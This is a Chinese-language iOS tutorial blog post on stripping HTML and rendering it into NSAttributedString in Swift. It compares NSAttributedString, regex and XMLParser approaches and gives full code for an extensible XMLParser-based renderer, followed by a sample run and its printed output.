&lt;br&gt; / &lt;Congratulation!&gt; / &lt;b&gt;Bold&lt;i&gt;Bold+Italic&lt;/b&gt;Italic&lt;/i&gt; 以上三種有可能出現的情境 XMLParser 解析都會出錯直接 Throw Error 顯示空白。 使用 XMLParser,HTML 字串必須完全符合 XML 規則,無法像瀏覽器或 NSAttributedString.DocumentType.html 容錯正常顯示。

改使用純 Swift 開發,透過 Regex 剖析出 HTML Tag 並經過 Tokenization,分析修正 Tag 正確性(修正沒有 end 的 tag & 錯位 tag),再轉換成 abstract syntax tree,最終使用 Visitor Pattern 將 HTML Tag 與抽象樣式對應,得到最終 NSAttributedString 結果;其中不依賴任何 Parser Lib。

— —

How?

木已成舟,回歸正題,目前已用 HTML 在渲染 NSAttributedString 那我們該如何解決上述的閃退還有效能問題呢?

Inspired by

Strip HTML 去除 HTML

在談 HTML Render 之前先談 Strip HTML,還是再提一次前文 Why? 章節所說的,App 哪裡會拿到 HTML、會拿到哪些 HTML 應該要在規格協定好;而不是 App 這邊「 可能 」會拿到 HTML,需要 Strip 掉。

套句之前主管的名言:這樣太瘋了吧?

Option 1. NSAttributedString

1
+2
+3
+
let data = "<div>Text</div>".data(using: .unicode)!
+let attributed = try NSAttributedString(data: data, options: [.documentType: NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue], documentAttributes: nil)
+let string = attributed.string
+
  • 使用 NSAttributedString Render HTML 然後再取 string 出來就會是乾淨的 String 了
  • 問題同本章問題,iOS 15 容易閃退、效能不好、只能在 Main Thread 操作

Option 2. Regex

1
+2
+
htmlString = "<div>Test</div>"
+htmlString.replacingOccurrences(of: "<[^>]+>", with: "", options: .regularExpression, range: nil)
+
  • 最簡單有效的方式
  • Regex 並不能保證完全正確 e.g &lt;p foo="&gt;now what?"&gt;Paragraph&lt;/p&gt; 是合法的 HTML 但會 Strip 錯誤

Option 3. XMLParser

參考 SwiftRichString 的做法,使用 Foundation 中的 XMLParser 將 HTML 做為 XML 解析自行實現 HTML Parser & Strip 功能。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+
import UIKit
+// Ref: https://github.com/malcommac/SwiftRichString
+final class HTMLStripper: NSObject, XMLParserDelegate {
+
+    private static let topTag = "source"
+    private var xmlParser: XMLParser
+    
+    private(set) var storedString: String
+    
+    // The XML parser sometimes splits strings, which can break localization-sensitive
+    // string transforms. Work around this by using the currentString variable to
+    // accumulate partial strings, and then reading them back out as a single string
+    // when the current element ends, or when a new one is started.
+    private var currentString: String?
+    
+    // MARK: - Initialization
+
+    init(string: String) throws {
+        let xmlString = HTMLStripper.escapeWithUnicodeEntities(string)
+        let xml = "<\(HTMLStripper.topTag)>\(xmlString)</\(HTMLStripper.topTag)>"
+        guard let data = xml.data(using: String.Encoding.utf8) else {
+            throw XMLParserInitError("Unable to convert to UTF8")
+        }
+        
+        self.xmlParser = XMLParser(data: data)
+        self.storedString = ""
+        
+        super.init()
+        
+        xmlParser.shouldProcessNamespaces = false
+        xmlParser.shouldReportNamespacePrefixes = false
+        xmlParser.shouldResolveExternalEntities = false
+        xmlParser.delegate = self
+    }
+    
+    /// Parse and generate attributed string.
+    func parse() throws -> String {
+        guard xmlParser.parse() else {
+            let line = xmlParser.lineNumber
+            let shiftColumn = (line == 1)
+            let shiftSize = HTMLStripper.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2
+            let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0)
+            
+            throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column)
+        }
+        
+        return storedString
+    }
+    
+    // MARK: XMLParserDelegate
+    
+    @objc func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) {
+        foundNewString()
+    }
+    
+    @objc func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) {
+        foundNewString()
+    }
+    
+    @objc func parser(_ parser: XMLParser, foundCharacters string: String) {
+        currentString = (currentString ?? "").appending(string)
+    }
+    
+    // MARK: Support Private Methods
+    
+    func foundNewString() {
+        if let currentString = currentString {
+            storedString.append(currentString)
+            self.currentString = nil
+        }
+    }
+    
+    // handle html entity / html hex
+    // Perform string escaping to replace all characters which is not supported by NSXMLParser
+    // into the specified encoding with decimal entity.
+    // For example if your string contains '&' character parser will break the style.
+    // This option is active by default.
+    // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift
+    static func escapeWithUnicodeEntities(_ string: String) -> String {
+        guard let escapeAmpRegExp = try? NSRegularExpression(pattern: "&(?!(#[0-9]{2,4}|[A-z]{2,6});)", options: NSRegularExpression.Options(rawValue: 0)) else {
+            return string
+        }
+        
+        let range = NSRange(location: 0, length: string.count)
+        return escapeAmpRegExp.stringByReplacingMatches(in: string,
+                                                        options: NSRegularExpression.MatchingOptions(rawValue: 0),
+                                                        range: range,
+                                                        withTemplate: "&amp;")
+    }
+}
+
+
+let test = "我<br/><a href=\"http://google.com\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\"background-color:#00FF00;\">使用</span>,並已<img src=\"g.png\"/>了解跨境<br/>商品之物<p>流需</p>求"
+
+let stripper = try HTMLStripper(string: test)
+print(try! stripper.parse())
+
+// 我同意提供個人身分證 字號/護照/居留證號碼,以供跨境物流方通關使用,並已了解跨境商品之物流需求
+

使用 Foundation XML Parser 去處理 String,實現 XMLParserDelegatecurrentString 存放 String,因 String 有時會拆成多個 String 所以 foundCharacters 是有機會被重複呼叫的, didStartElementdidEndElement 找到字串開始時、結束時,將當前結果存下並清空 currentString

  • 優點是會連帶轉換 HTML Entity to 實際字元 e.g. &#103; -&gt; g
  • 優點是實現複雜、遇到不合規格的 HTML 會 XMLParser 失敗 e.g. &lt;br&gt; 忘了寫成 &lt;br/&gt;

個人認為單純要 Strip HTML Option 2. 是比較好的方法 ,會介紹此方法是因為 Render HTML 也是使用相同原理,先用這個做為簡單範例 :)

HTML Render w/XMLParser

使用 XMLParser 自行實現,同 Strip 原理,我們可以多加上剖析到什麼 Tag 時要做對應的渲染方式。

需求規格:

  • 支援擴充想剖析的 Tag
  • 支援設定 Tag Default Style e.g <a> Tag 套用連結樣式
  • 支援剖析 style Attributed,因 HTML 會在 style="color:red" 上去明示要顯示的樣式
  • 樣式支援更改文字粗細、大小、底線、行距、字距、背景顏色、字顏色
  • 不支援 Image Tag、Table Tag…等較複雜 TAG

大家可依照自己的規格需求去刪減功能,例如不需支援背景顏色調整,則不需要開出可設定背景顏色的口。

本文只是概念實現, 並非架構上的 Best Practice ;如有明確規格、使用方式,可考慮套用些 Design Pattern 來實現,達成好維護好擴充。

⚠️⚠️⚠️ Attention ⚠️⚠️⚠️

再次提醒, 如果你的 App 是全新的或有機會直接全改成 Markdown 格式,建議還是採用以上方式,本篇自行撰寫 Render 太複雜且效能不會比 Markdown 好

即使你是 iOS < 15 不支援原生 Markdown,還是可以在 Github 上找到 大神做好的 Markdown Parser 方案

HTMLTagParser

1
+2
+3
+4
+5
+6
+7
+
protocol HTMLTagParser {
+    static var tag: String { get } // 宣告想解析的 Tag Name, e.g. a
+    var storedHTMLAttributes: [String: String]? { get set } // Attributed 解析結果將存放於此, e.g. href,style
+    var style: AttributedStringStyle? { get } // 此 Tag 想套用的樣式
+    
+    func render(attributedString: inout NSMutableAttributedString) // 實現渲染 HTML to attributedString 的邏輯
+}
+

宣告可剖析的 HTML Tag 實體,方便擴充管理。

AttributedStringStyle

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+
protocol AttributedStringStyle {
+    var font: UIFont? { get set }
+    var color: UIColor? { get set }
+    var backgroundColor: UIColor? { get set }
+    var wordSpacing: CGFloat? { get set }
+    var paragraphStyle: NSParagraphStyle? { get set }
+    var customs: [NSAttributedString.Key: Any]? { get set } // 萬能設定口,建議確定可支援規格後將其抽象出來,並關閉此開口
+    func render(attributedString: inout NSMutableAttributedString)
+}
+
+
+// abstract implement
+extension AttributedStringStyle {
+    func render(attributedString: inout NSMutableAttributedString) {
+        let range = NSMakeRange(0, attributedString.length)
+        if let font = font {
+            attributedString.addAttribute(NSAttributedString.Key.font, value: font, range: range)
+        }
+        if let color = color {
+            attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range)
+        }
+        if let backgroundColor = backgroundColor {
+            attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: backgroundColor, range: range)
+        }
+        if let wordSpacing = wordSpacing {
+            attributedString.addAttribute(NSAttributedString.Key.kern, value: wordSpacing as Any, range: range)
+        }
+        if let paragraphStyle = paragraphStyle {
+            attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range)
+        }
+        if let customAttributes = customs {
+            attributedString.addAttributes(customAttributes, range: range)
+        }
+    }
+}
+

宣告 Tag 可供設定的樣式。

HTMLStyleAttributedParser

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+
// only support tag attributed down below
+// can set color,font seize,line height,word spacing,background color
+
+enum HTMLStyleAttributedParser: String {
+    case color = "color"
+    case fontSize = "font-size"
+    case lineHeight = "line-height"
+    case wordSpacing = "word-spacing"
+    case backgroundColor = "background-color"
+    
+    func render(attributedString: inout NSMutableAttributedString, value: String) -> Bool {
+        let range = NSMakeRange(0, attributedString.length)
+        switch self {
+        case .color:
+            if let color = convertToiOSColor(value) {
+                attributedString.addAttribute(NSAttributedString.Key.foregroundColor, value: color, range: range)
+                return true
+            }
+        case .backgroundColor:
+            if let color = convertToiOSColor(value) {
+                attributedString.addAttribute(NSAttributedString.Key.backgroundColor, value: color, range: range)
+                return true
+            }
+        case .fontSize:
+            if let size = convertToiOSSize(value) {
+                attributedString.addAttribute(NSAttributedString.Key.font, value: UIFont.systemFont(ofSize: CGFloat(size)), range: range)
+                return true
+            }
+        case .lineHeight:
+            if let size = convertToiOSSize(value) {
+                let paragraphStyle = NSMutableParagraphStyle()
+                paragraphStyle.lineSpacing = size
+                attributedString.addAttribute(NSAttributedString.Key.paragraphStyle, value: paragraphStyle, range: range)
+                return true
+            }
+        case .wordSpacing:
+            if let size = convertToiOSSize(value) {
+                attributedString.addAttribute(NSAttributedString.Key.kern, value: size, range: range)
+                return true
+            }
+        }
+        
+        return false
+    }
+    
+    // convert 36px -> 36
+    private func convertToiOSSize(_ string: String) -> CGFloat? {
+        guard let regex = try? NSRegularExpression(pattern: "^([0-9]+)"),
+              let firstMatch = regex.firstMatch(in: string, options: [], range: NSRange(location: 0, length: string.utf16.count)),
+              let range = Range(firstMatch.range, in: string),
+              let size = Float(String(string[range])) else {
+            return nil
+        }
+        return CGFloat(size)
+    }
+    
+    // convert html hex color #ffffff to UIKit Color
+    private func convertToiOSColor(_ hexString: String) -> UIColor? {
+        var cString: String = hexString.trimmingCharacters(in: .whitespacesAndNewlines).uppercased()
+
+        if cString.hasPrefix("#") {
+            cString.remove(at: cString.startIndex)
+        }
+
+        if (cString.count) != 6 {
+            return nil
+        }
+
+        var rgbValue: UInt64 = 0
+        Scanner(string: cString).scanHexInt64(&rgbValue)
+
+        return UIColor(
+            red: CGFloat((rgbValue & 0xFF0000) >> 16) / 255.0,
+            green: CGFloat((rgbValue & 0x00FF00) >> 8) / 255.0,
+            blue: CGFloat(rgbValue & 0x0000FF) / 255.0,
+            alpha: CGFloat(1.0)
+        )
+    }
+}
+

實現 Style Attributed Parser 解析 style="color:red;font-size:16px" 但 CSS Style 有非常多可設定樣式,所以需要列舉可支援範圍。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+
extension HTMLTagParser {
+
+    func render(attributedString: inout NSMutableAttributedString) {
+        defaultStyleRender(attributedString: &attributedString)
+    }
+    
+    func defaultStyleRender(attributedString: inout NSMutableAttributedString) {
+        // setup default style to NSMutableAttributedString
+        style?.render(attributedString: &attributedString)
+        
+        // setup & override HTML style (style="color:red;background-color:black") to NSMutableAttributedString if is exists
+        // any html tag can have style attribute
+        if let style = storedHTMLAttributes?["style"] {
+            let styles = style.split(separator: ";").map { $0.split(separator: ":") }.filter { $0.count == 2 }
+            for style in styles {
+                let key = String(style[0])
+                let value = String(style[1])
+                
+                if let styleAttributed = HTMLStyleAttributedParser(rawValue: key), styleAttributed.render(attributedString: &attributedString, value: value) {
+                    print("Unsupport style attributed or value[\(key):\(value)]")
+                }
+            }
+        }
+    }
+}
+

套用 HTMLStyleAttributedParser & HTMLStyleAttributedParser 抽象實現。

一些 Tag Parser & AttributedStringStyle 的實現範例

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+
struct LinkStyle: AttributedStringStyle {
+   var font: UIFont? = UIFont.systemFont(ofSize: 14)
+   var color: UIColor? = UIColor.blue
+   var backgroundColor: UIColor? = nil
+   var wordSpacing: CGFloat? = nil
+   var paragraphStyle: NSParagraphStyle?
+   var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]
+}
+
+struct ATagParser: HTMLTagParser {
+    // <a></a>
+    static let tag: String = "a"
+    var storedHTMLAttributes: [String: String]? = nil
+    let style: AttributedStringStyle? = LinkStyle()
+    
+    func render(attributedString: inout NSMutableAttributedString) {
+        defaultStyleRender(attributedString: &attributedString)
+        if let href = storedHTMLAttributes?["href"], let url = URL(string: href) {
+            let range = NSMakeRange(0, attributedString.length)
+            attributedString.addAttribute(NSAttributedString.Key.link, value: url, range: range)
+        }
+    }
+}
+
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+
struct BoldStyle: AttributedStringStyle {
+   var font: UIFont? = UIFont.systemFont(ofSize: 14, weight: .bold)
+   var color: UIColor? = UIColor.black
+   var backgroundColor: UIColor? = nil
+   var wordSpacing: CGFloat? = nil
+   var paragraphStyle: NSParagraphStyle?
+   var customs: [NSAttributedString.Key: Any]? = [.underlineStyle: NSUnderlineStyle.single.rawValue]
+}
+
+struct BoldTagParser: HTMLTagParser {
+    // <b></b>
+    static let tag: String = "b"
+    var storedHTMLAttributes: [String: String]? = nil
+    let style: AttributedStringStyle? = BoldStyle()
+}
+
1
+2
+3
+4
+5
+6
+
struct SpanTagParser: HTMLTagParser {
+    // <span></span>
+    static let tag: String = "span"
+    var storedHTMLAttributes: [String: String]? = nil
+    var style: AttributedStringStyle? = DefaultTextStyle()
+}
+

HTMLToAttributedStringParser: XMLParserDelegate 核心實現

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+77
+78
+79
+80
+81
+82
+83
+84
+85
+86
+87
+88
+89
+90
+91
+92
+93
+94
+95
+96
+97
+98
+99
+100
+101
+102
+103
+104
+105
+106
+107
+108
+109
+110
+111
+112
+113
+114
+115
+116
+117
+118
+119
+120
+121
+122
+123
+124
+125
+126
+127
+128
+129
+130
+131
+132
+133
+134
+135
+136
+137
+138
+139
+140
+141
+142
+143
+144
+145
+146
+147
+148
+149
+150
+151
+152
+153
+154
+155
+156
+157
+158
+159
+160
+161
+
// Ref: https://github.com/malcommac/SwiftRichString
+final class HTMLToAttributedStringParser: NSObject {
+    
+    private static let topTag = "source"
+    private var xmlParser: XMLParser?
+    
+    private(set) var attributedString: NSMutableAttributedString = NSMutableAttributedString()
+    private(set) var supportedTagRenders: [HTMLTagParser] = []
+    private let defaultStyle: AttributedStringStyle
+    
+    /// Styles applied at each fragment.
+    private var renderingTagRenders: [HTMLTagParser] = []
+
+    // The XML parser sometimes splits strings, which can break localization-sensitive
+    // string transforms. Work around this by using the currentString variable to
+    // accumulate partial strings, and then reading them back out as a single string
+    // when the current element ends, or when a new one is started.
+    private var currentString: String?
+    
+    // MARK: - Initialization
+
+    init(defaultStyle: AttributedStringStyle) {
+        self.defaultStyle = defaultStyle
+        super.init()
+    }
+    
+    func register(_ tagRender: HTMLTagParser) {
+        if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == type(of: tagRender).tag }) {
+            supportedTagRenders.remove(at: index)
+        }
+        supportedTagRenders.append(tagRender)
+    }
+    
+    /// Parse and generate attributed string.
+    func parse(string: String) throws -> NSAttributedString {
+        var xmlString = HTMLToAttributedStringParser.escapeWithUnicodeEntities(string)
+        
+        // make sure <br/> format is correct XML
+        // because Web may use <br> to present <br/>, but <br> is not a vaild XML
+        xmlString = xmlString.replacingOccurrences(of: "<br>", with: "<br/>")
+        
+        let xml = "<\(HTMLToAttributedStringParser.topTag)>\(xmlString)</\(HTMLToAttributedStringParser.topTag)>"
+        guard let data = xml.data(using: String.Encoding.utf8) else {
+            throw XMLParserInitError("Unable to convert to UTF8")
+        }
+        
+        let xmlParser = XMLParser(data: data)
+        xmlParser.shouldProcessNamespaces = false
+        xmlParser.shouldReportNamespacePrefixes = false
+        xmlParser.shouldResolveExternalEntities = false
+        xmlParser.delegate = self
+        self.xmlParser = xmlParser
+        
+        attributedString = NSMutableAttributedString()
+        
+        guard xmlParser.parse() else {
+            let line = xmlParser.lineNumber
+            let shiftColumn = (line == 1)
+            let shiftSize = HTMLToAttributedStringParser.topTag.lengthOfBytes(using: String.Encoding.utf8) + 2
+            let column = xmlParser.columnNumber - (shiftColumn ? shiftSize : 0)
+            
+            throw XMLParserError(parserError: xmlParser.parserError, line: line, column: column)
+        }
+        
+        return attributedString
+    }
+}
+
+// MARK: Private Method
+
+private extension HTMLToAttributedStringParser {
+    func enter(element elementName: String, attributes: [String: String]) {
+        // elementName = tagName, EX: a,span,div...
+        guard elementName != HTMLToAttributedStringParser.topTag else {
+            return
+        }
+        
+        if let index = supportedTagRenders.firstIndex(where: { type(of: $0).tag == elementName }) {
+            var tagRender = supportedTagRenders[index]
+            tagRender.storedHTMLAttributes = attributes
+            renderingTagRenders.append(tagRender)
+        }
+    }
+    
+    func exit(element elementName: String) {
+        if !renderingTagRenders.isEmpty {
+            renderingTagRenders.removeLast()
+        }
+    }
+    
+    func foundNewString() {
+        if let currentString = currentString {
+            // currentString != nil ,ex: <i>currentString</i>
+            var newAttributedString = NSMutableAttributedString(string: currentString)
+            if !renderingTagRenders.isEmpty {
+                for (key, tagRender) in renderingTagRenders.enumerated() {
+                    // Render Style
+                    tagRender.render(attributedString: &newAttributedString)
+                    renderingTagRenders[key].storedHTMLAttributes = nil
+                }
+            } else {
+                defaultStyle.render(attributedString: &newAttributedString)
+            }
+            attributedString.append(newAttributedString)
+            self.currentString = nil
+        } else {
+            // currentString == nil ,ex: <br/>
+            var newAttributedString = NSMutableAttributedString()
+            for (key, tagRender) in renderingTagRenders.enumerated() {
+                // Render Style
+                tagRender.render(attributedString: &newAttributedString)
+                renderingTagRenders[key].storedHTMLAttributes = nil
+            }
+            attributedString.append(newAttributedString)
+        }
+    }
+}
+
+// MARK: Helper
+
+extension HTMLToAttributedStringParser {
+    // handle html entity / html hex
+    // Perform string escaping to replace all characters which is not supported by NSXMLParser
+    // into the specified encoding with decimal entity.
+    // For example if your string contains '&' character parser will break the style.
+    // This option is active by default.
+    // ref: https://github.com/malcommac/SwiftRichString/blob/e0b72d5c96968d7802856d2be096202c9798e8d1/Sources/SwiftRichString/Support/XMLStringBuilder.swift
+    static func escapeWithUnicodeEntities(_ string: String) -> String {
+        guard let escapeAmpRegExp = try? NSRegularExpression(pattern: "&(?!(#[0-9]{2,4}|[A-z]{2,6});)", options: NSRegularExpression.Options(rawValue: 0)) else {
+            return string
+        }
+        
+        let range = NSRange(location: 0, length: string.count)
+        return escapeAmpRegExp.stringByReplacingMatches(in: string,
+                                                        options: NSRegularExpression.MatchingOptions(rawValue: 0),
+                                                        range: range,
+                                                        withTemplate: "&amp;")
+    }
+}
+
+// MARK: XMLParserDelegate
+
+extension HTMLToAttributedStringParser: XMLParserDelegate {
+    func parser(_ parser: XMLParser, didStartElement elementName: String, namespaceURI: String?, qualifiedName qName: String?, attributes attributeDict: [String: String]) {
+        foundNewString()
+        enter(element: elementName, attributes: attributeDict)
+    }
+    
+    func parser(_ parser: XMLParser, didEndElement elementName: String, namespaceURI: String?, qualifiedName qName: String?) {
+        foundNewString()
+        guard elementName != HTMLToAttributedStringParser.topTag else {
+            return
+        }
+        
+        exit(element: elementName)
+    }
+    
+    func parser(_ parser: XMLParser, foundCharacters string: String) {
+        currentString = (currentString ?? "").appending(string)
+    }
+}
+

套用 Strip 的邏輯,我們可以幫拆好的架構在其中進行組合從 elementName 知道當前的 Tag 並套用相應的 Tag Parser 及套上定義好的 Style。

Test Result

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+
let test = "我<br/><a href=\"http://google.com\">同意</a>提供<b><i>個</i>人</b>身分證字號/護照/居留<span style=\"color:#FF0000;font-size:20px;word-spacing:10px;line-height:10px\">證號碼</span>,以供<i>跨境物流</i>方通關<span style=\"background-color:#00FF00;\">使用</span>,並已<img src=\"g.png\"/>了解跨境<br/>商品之物<p>流需</p>求"
+let render = HTMLToAttributedStringParser(defaultStyle: DefaultTextStyle())
+render.register(ATagParser())
+render.register(BoldTagParser())
+render.register(SpanTagParser())
+//...
+print(try! render.parse(string: test))
+
+// Result:
+// 我{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }同意{
+//     NSColor = "UIExtendedSRGBColorSpace 0 0 1 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSLink = "http://google.com";
+//     NSUnderline = 1;
+// }提供{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }個{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Bold 14.00 pt. P [] (0x13a013870) fobj=0x13a013870, spc=3.46\"";
+//     NSUnderline = 1;
+// }人身分證字號/護照/居留{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }證號碼{
+//     NSColor = "UIExtendedSRGBColorSpace 1 0 0 1";
+//     NSFont = "\".SFNS-Regular 20.00 pt. P [] (0x13a015fa0) fobj=0x13a015fa0, spc=4.82\"";
+//     NSKern = 10;
+//     NSParagraphStyle = "Alignment 4, LineSpacing 10, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// },以供跨境物流方通關{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }使用{
+//     NSBackgroundColor = "UIExtendedSRGBColorSpace 0 1 0 1";
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// },並已了解跨境商品之物流需求{
+//     NSColor = "UIExtendedGrayColorSpace 0 1";
+//     NSFont = "\".SFNS-Regular 14.00 pt. P [] (0x13a012970) fobj=0x13a012970, spc=3.79\"";
+//     NSParagraphStyle = "Alignment 4, LineSpacing 3, ParagraphSpacing 0, ParagraphSpacingBefore 0, HeadIndent 0, TailIndent 0, FirstLineHeadIndent 0, LineHeight 0/0, LineHeightMultiple 0, LineBreakMode 0, Tabs (\n    28L,\n    56L,\n    84L,\n    112L,\n    140L,\n    168L,\n    196L,\n    224L,\n    252L,\n    280L,\n    308L,\n    336L\n), DefaultTabInterval 0, Blocks (\n), Lists (\n), BaseWritingDirection -1, HyphenationFactor 0, TighteningForTruncation NO, HeaderLevel 0 LineBreakStrategy 0 PresentationIntents (\n) ListIntentOrdinal 0 CodeBlockIntentLanguageHint ''";
+// }
+

顯示結果:

Done!

這樣我們就完成了透過 XMLParser 自行實現 HTML Render 功能,並且保留擴充性跟規格性,可以從 Code 上管理、了解到目前 App 能支援的字串渲染類型。

完整 Github Repo 如下

===

本文首次發表於 Medium ➡️ 前往查看


